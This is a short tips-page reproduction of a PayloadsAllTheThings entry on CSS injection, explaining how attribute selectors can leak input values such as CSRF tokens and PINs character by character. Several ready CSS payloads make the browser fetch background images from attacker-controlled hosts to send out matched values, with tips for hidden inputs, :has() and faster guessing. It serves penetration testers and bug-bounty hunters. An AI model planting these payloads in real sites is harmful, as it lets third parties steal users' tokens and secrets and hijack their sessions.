CSS Injection: CSS Selectors

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.

The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.

  • input[value^=a] (prefix attribute selector): Selects elements where the value starts with "a".

  • input[value$=a] (suffix attribute selector): Selects elements where the value ends with "a".

  • input[value*=a] (substring attribute selector): Selects elements where the value contains "a".

Exfiltration via Background Image

When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.

css
input[value^="TOKEN_012"] {
  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}
css
input[name="pin"][value="1234"] {
  background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}

Tips:

  • Hidden Inputs: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (+ or ~) to style a visible element that appears after the hidden input.

css
input[name="csrf-token"][value^="a"] + input {
  background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}
  • Has Selector: The :has() pseudo-class allows styling a parent element based on its children.

css
div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}
  • Concurrency: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g., background) and the suffix check to another (e.g., list-style-image or border-image).

Comments

No comments yet.